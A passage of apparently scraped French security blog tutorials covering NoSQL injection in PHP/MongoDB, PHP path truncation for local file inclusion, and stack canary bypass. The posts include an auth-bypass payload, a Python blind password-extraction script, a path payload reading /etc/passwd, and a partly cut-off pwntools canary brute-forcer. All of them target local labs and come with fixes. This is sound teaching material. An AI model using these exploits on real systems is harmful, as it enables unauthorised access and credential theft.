class="highlight"><pre><span></span>$ mongo MongoDB shell version: <span class="m">2</span>.6.7 connecting to: <span class="nb">test</span> Server has startup warnings: <span class="m">2015</span>-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face, <span class="m">2015</span>-02-22T00:57:09.521+0100 ** enabling http interface &gt; db.people.insert<span class="o">({</span>user:<span class="s2">&quot;Geluchat&quot;</span>,password:<span class="s2">&quot;mdp&quot;</span><span class="o">)</span><span class="p">;</span> WriteResult<span class="o">({</span> <span class="s2">&quot;nInserted&quot;</span> : <span class="m">1</span> <span class="o">})</span> </pre></div> <p>Tout est prêt, nous allons pouvoir procéder à notre première injection NOSQL.</p> <p>On passe usr_name[$ne]=h4cker&amp;usr_password[$ne]=h4xor grace à HackBar:</p> <p><img alt="Hackbar nosql" src="https://www.dailysecurity.fr/images/4QcrMsM.png"></p> <p>Nous voici désormais Administrateur.</p> <p>Maintenant, vous vous demandez: "Comment ça marche?".</p> <p>Selon la documentation <a href="http://docs.mongodb.org/manual/reference/operator/query/">MongoDB sur les opérateurs de requête</a> $ne correspond à "Différent de".</p> <p>Lorsque PHP crée la requête il utilise la fonction array(), qui nous permet de faire des array à partir d'array déjà existants.</p> <div class="highlight"><pre><span></span><span class="nv">$qry</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s2">&quot;user&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_name</span><span class="p">,</span> <span class="s2">&quot;password&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_password</span> <span class="p">);</span> <span class="c1">// Construction de la requête NOSQL</span> </pre></div> <p>Pour mieux comprendre, on fait un var_dump($qry), on obtient:</p> <div class="highlight"><pre><span></span><span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span> <span class="s1">&#39;user&#39;</span> <span class="o">=&gt;</span> <span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="s1">&#39;$ne&#39;</span> <span class="o">=&gt;</span> <span class="nx">string</span> <span class="s1">&#39;h4cker&#39;</span> <span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">6</span><span class="p">)</span> <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="s1">&#39;$ne&#39;</span> <span class="o">=&gt;</span> <span class="nx">string</span> <span class="s1">&#39;h4xor&#39;</span> <span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span> </pre></div> <p>Ce qui traduit en "Pseudo SQL" donne: "WHERE user!=h4cker and password!=h4xor".</p> <p>On a donc vu un exemple d'exploitation classique.</p> <p>Mais nous, ce qu'on veut, c'est récupérer le mot de passe administrateur.</p> <p>Malheureusement, nous ne disposons d'aucun affichage, il va donc falloir trouver un autre moyen d'accéder à ce mot de passe.</p> <p>Toujours dans la documentation <a href="http://docs.mongodb.org/manual/reference/operator/query/">MongoDB</a> on trouve $regex.</p> <p>Les fameuses regex vont donc pouvoir nous sauver, l'exploitation se fera en blind.</p> <p>Pour ceux qui ne comprennent rien au regex, ne vous inquiétez pas, je vais vous expliquer la construction de la requête:</p> <ul> <li>. : Représente n’importe quelle caractère</li> <li>caractère {un nombre} (ex: .{5}): Caractère fois le nombre</li> </ul> <p>Donc pour trouver la taille on cherche avec:</p> <div class="highlight"><pre><span></span><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=.</span><span class="p">{</span><span class="mi">1</span><span class="p">}</span> </pre></div> <p>On incrémente de 1 à chaque fois, jusqu'à ce que "Bienvenue Administrateur" disparaisse.</p> <p>Et on trouve:</p> <div class="highlight"><pre><span></span><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=.</span><span class="p">{</span><span class="mi">3</span><span class="p">}</span> </pre></div> <p>Le mot de passe (mdp) fait bien 3 caractères.</p> <p>On procède de la même façon pour les caractères:</p> <div class="highlight"><pre><span></span><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">m</span><span class="o">.</span><span class="p">{</span><span class="mi">2</span><span class="p">}</span> <span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">md</span><span class="o">.</span><span class="p">{</span><span class="mi">1</span><span class="p">}</span> <span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">mdp</span> </pre></div> <p>J'ai codé un petit script en python qui fait le travail à notre place et voilà le travail:</p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python2</span> <span class="c1"># -*- coding: utf8 -*-</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="n">page</span> <span class="o">=</span> <span class="s2">&quot;http://localhost/NOSQL/&quot;</span> <span class="n">taille</span><span class="o">=</span><span class="mi">0</span> <span class="k">while</span> <span class="mi">1</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="s2">&quot;.{&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;}&quot;</span><span class="p">;</span> <span class="n">req</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;usr_name[$ne]&#39;</span><span class="p">:</span><span class="s1">&#39;hacker&#39;</span><span class="p">,</span> <span class="s1">&#39;usr_password[$regex]&#39;</span><span class="p">:</span><span class="n">forge</span><span class="p">}</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">page</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">req</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">print</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Bienvenue&#39;</span><span class="p">)</span><span class="o">==-</span><span class="mi">1</span> <span class="p">:</span> <span class="k">break</span> <span class="n">taille</span><span class="o">+=</span><span class="mi">1</span> <span class="n">taille</span><span class="o">-=</span><span class="mi">1</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;[+] Le password fait &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot; caracteres&quot;</span><span class="p">)</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">&quot;&quot;</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">=</span><span class="mi">0</span> <span class="k">while</span> <span class="n">length</span><span class="o">!=</span><span class="n">taille</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="n">passwd</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span><span class="o">+</span><span class="s1">&#39;.{&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="s1">&#39;}&#39;</span><span class="p">;</span> <span class="n">req</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;usr_name[$ne]&#39;</span><span class="p">:</span><span class="s1">&#39;hacker&#39;</span><span class="p">,</span> <span class="s1">&#39;usr_password[$regex]&#39;</span><span class="p">:</span><span class="n">forge</span><span class="p">}</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">page</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">req</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">print</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Bienvenue&#39;</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span> <span class="p">:</span> <span class="n">passwd</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span> <span class="k">if</span> <span class="n">char</span><span class="o">==</span><span class="mi">90</span><span class="p">:</span> <span class="n">char</span><span class="o">=</span><span class="mi">96</span> <span class="k">if</span> <span class="n">char</span><span class="o">==</span><span class="mi">57</span><span class="p">:</span> <span class="n">char</span><span class="o">=</span><span class="mi">64</span> <span class="n">char</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;[+] Le password est: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">passwd</span><span class="p">))</span> </pre></div> <div class="highlight"><pre><span></span><span class="gp">$</span> python NOSQL.py <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{3}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{4}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">[+] Le password fait 3 caracteres</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;0.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;L.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;M.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;N.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;O.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;k.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;l.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">m</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m1.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m2.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">md</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md1.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md2.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;mdp.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">mdp</span> <span class="go">[+] Le password est: mdp</span> </pre></div> <p>Pour patcher cette faille, une solution : la vérification grâce à la fonction is_array():</p> <div class="highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">]))</span> </pre></div> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les PATH truncations: The old one2015-02-06T11:35:00+01:002015-02-06T11:35:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-06:/les-path-truncations<p>Après les <a href="https://www.dailysecurity.fr/les-sql-truncations/">SQL truncations</a>, passons à l'étude de son homologue PHP, les PATH truncations.</p> <p>Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois …</p><p>Après les <a href="https://www.dailysecurity.fr/les-sql-truncations/">SQL truncations</a>, passons à l'étude de son homologue PHP, les PATH truncations.</p> <p>Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois chaotique de la mémoire liée à ce langage.</p> <p>Il parait donc tout à fait naturel que pour palier à ce problème les créateurs de ce langage aient dû s'orienter vers une gestion simplifiée de la mémoire paradoxalement au PHP qui est lui-même un langage très faiblement typé</p> <p>Passons donc au vif du sujet, les strings PHP, jusqu’à la version 5.3, peuvent supporter une chaîne de longueur maximum égal à 2^12 soit <a href="https://eklitzke.org/path-max-is-tricky">4096</a> caractères.</p> <p>Que se passe-t-il si l'on dépasse cette limite?</p> <p>Eh bien, PHP tronque tout simplement la chaîne. Comme à l’accoutumé, voici un exemple pour illustrer le principe et mettre en avant le problème:</p> <div class="highlight"><pre><span></span><span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">&#39;/\x00/im&#39;</span><span class="p">,</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="k">include</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">]</span><span class="o">.</span><span class="s2">&quot;.php&quot;</span><span class="p">);</span> <span class="p">}</span> </pre></div> <p>Ce code comporte une LFI, on peut inclure n’importe quel fichier PHP ou lire le code via les wrappers php.</p> <p>De plus, le null byte étant filtré, on ne peut pas inclure un fichier qui ne comporte pas l'extension .php</p> <p>Comment faire?</p> <p>C'est là qu'intervient la PATH truncation, si l'on envoie une chaîne supérieure à 4096 le .php ne sera pas ajouter à la fin.</p> <p>A ce moment vous êtes sûrement en train de vous poser des questions sur l’intérêt d'une telle faille. En effet, comment une chaîne de plus de 4096 pourrait contenir notre chemin qui fait entre 50 et 100 caractères.</p> <p>En fait, la solution est très simple, il suffit d'analyser comment PHP fonctionne.</p> <p>PHP cherche à interpréter une chaîne basique:</p> <div class="highlight"><pre><span></span><span class="k">include</span><span class="p">(</span><span class="s2">&quot;admin.php&quot;</span><span class="p">);</span> </pre></div> <p>Il va tout d'abord chercher si le fichier admin.php puis l'inclure, cette procédure, rappelons-le, utilise des fonctions du langage C.</p> <p>Le C possède des conditions d'accès au fichier et de recherche de chemin très poussé et adaptative, il suffit donc de trouver un bypass fonctionnant en C.</p> <p>Après quelques recherches on résout le problème:</p> <div class="highlight"><pre><span></span>/etc/passwd/./././././././././././././[4096 plus tard]/. </pre></div> <p>Qui est traduit par:</p> <div class="highlight"><pre><span></span><span class="k">include</span><span class="p">(</span><span class="s2">&quot;/etc/passwd&quot;</span><span class="p">);</span> </pre></div> <p>Note: </p> <p><em>De plus, veillez bien à regarder la taille du chemin, elle doit rester impaire, admin.php fait 9 caractères, mais admin.php3 en fait 10.</em> <em>Cela implique que vous devez équilibrer le nombre de caractères du chemin sinon la troncation ne se fera pas correctement (par exemple: x/../admin.php3)</em> <em>Sous Windows on peut exploiter via les points (admin.php.............[4096]............)</em></p> <p>On a donc complètement bypass la pseudo vérification d'extension mise en place par le programmeur.</p> <p>Il faut bien sûr retenir de cette faille qu'elle n'est disponible que sur les versions inférieurs à 5.3 .</p> <p>Pour patcher cette faille il suffit donc tout simplement de mettre à jour son PHP par une version supérieure à la 5.3 .</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>La Stack Smashing Protection: Un canary infaillible?2015-02-04T13:57:00+01:002015-02-04T13:57:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-04:/la-stack-smashing-protection<p>Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.</p> <p>Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE …</p><p>Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.</p> <p>Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=&gt;strncpy).</p> <p>Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.</p> <p>Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.</p> <div class="highlight"><pre><span></span>+-------------------------+ | | | Save EIP | | | +-------------------------+ | | | Save EBP | | | +-------------------------+ | | | Padding | | | +-------------------------+ | | | Canary | | | +-------------------------+ | | | char badbuffer[64] | | | +-------------------------+ </pre></div> <p>On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).</p> <p>Pour mieux comprendre prenons l'exemple suivant:</p> <div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf">&lt;memory.h&gt;</span><span class="cp"></span> <span class="kt">void</span> <span class="nf">vuln</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">goodbuffer</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">badbuffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">badbuffer</span><span class="p">,</span><span class="n">goodbuffer</span><span class="p">,</span><span class="n">size</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">pid</span><span class="p">,</span><span class="n">real_size</span><span class="p">;</span> <span class="kt">char</span> <span class="n">goodbuffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="kt">char</span> <span class="n">size</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="c1">// On enleve le buffering de stdout</span> <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span> <span class="k">if</span><span class="p">(</span> <span class="n">pid</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">);</span> <span class="c1">// On demande la taille de la chaine à recevoir</span> <span class="n">fgets</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="mi">4</span> <span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="n">real_size</span><span class="o">=</span><span class="n">atoi</span><span class="p">(</span><span class="n">size</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Input: &quot;</span><span class="p">);</span> <span class="n">fgets</span><span class="p">(</span><span class="n">goodbuffer</span><span class="p">,</span> <span class="n">real_size</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="n">goodbuffer</span><span class="p">[</span><span class="n">real_size</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">vuln</span><span class="p">(</span><span class="o">&amp;</span><span class="n">goodbuffer</span><span class="p">,</span> <span class="n">real_size</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="c1">// Fonction vulnérable</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Done</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">wait</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> </pre></div> <p>Le <a href="https://www.dailysecurity.fr/return_oriented_programming/">ROP</a> n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).</p> <div class="highlight"><pre><span></span><span class="gp">root@Geluchat:~#</span> <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space <span class="c1"># Desactive l&#39;ALSR</span> <span class="gp">root@Geluchat:~#</span> gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32 <span class="gp">root@Geluchat:~#</span> chmod +x SSPbypass <span class="gp">root@Geluchat:~#</span> ./SSPbypass </pre></div> <p>A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:</p> <div class="highlight"><pre><span></span><span class="go">*** stack smashing detected ***: SSPbypass - terminated</span> <span class="go">SSPbypass: stack smashing attack in function - terminated</span> </pre></div> <p>Et bien sûr notre exploitation échoue.</p> <p>Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.</p> <p>En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.</p> <p>Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.</p> <p>La bonne méthode est donc ailleurs.</p> <p>Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:</p> <ul> <li>Nous pouvons le deviner octet par octet à la manière d'une SQL Blind.</li> <li>Nous savons aussi que le programme proposé plus haut retourne la chaine "Done" quand tout s'est bien déroulé et rien quand on a écrasé le canary.</li> <li>Si le premier octet du canary est égal à 0x61 il ne retournera pas la chaine tant qu'on ne lui envoie pas 0x61.</li> <li>Un appel à la fonction fork() copie le canary, il reste donc le même à chaque connexion tant que le programme n'est pas fini.</li> </ul> <p>On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:</p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="k">return</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">dumb</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">return</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">bufsize</span><span class="p">,</span><span class="n">canarysize</span><span class="p">):</span> <span class="n">leak</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">canarysize</span><span class="p">:</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span> <span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="n">bufsize</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span> <span class="n">resp</span><span class="o">=</span><span class="n">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c1"># On test le cookie byte par byte</span> <span class="k">if</span> <span class="s1">&#39;Done&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span> <span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;[*] byte : </span><span class="si">%r</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span> <span class="k">break</span> <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span> <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s1">&#39;Hum :(&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="n">leak</span> <span class="n">start</span><span class="p">()</span> <span class="n">canary</span><span class="o">=</span><span class="n">leak</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;[+] Canary </span><span class="si">%#x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="n">canary</span><span 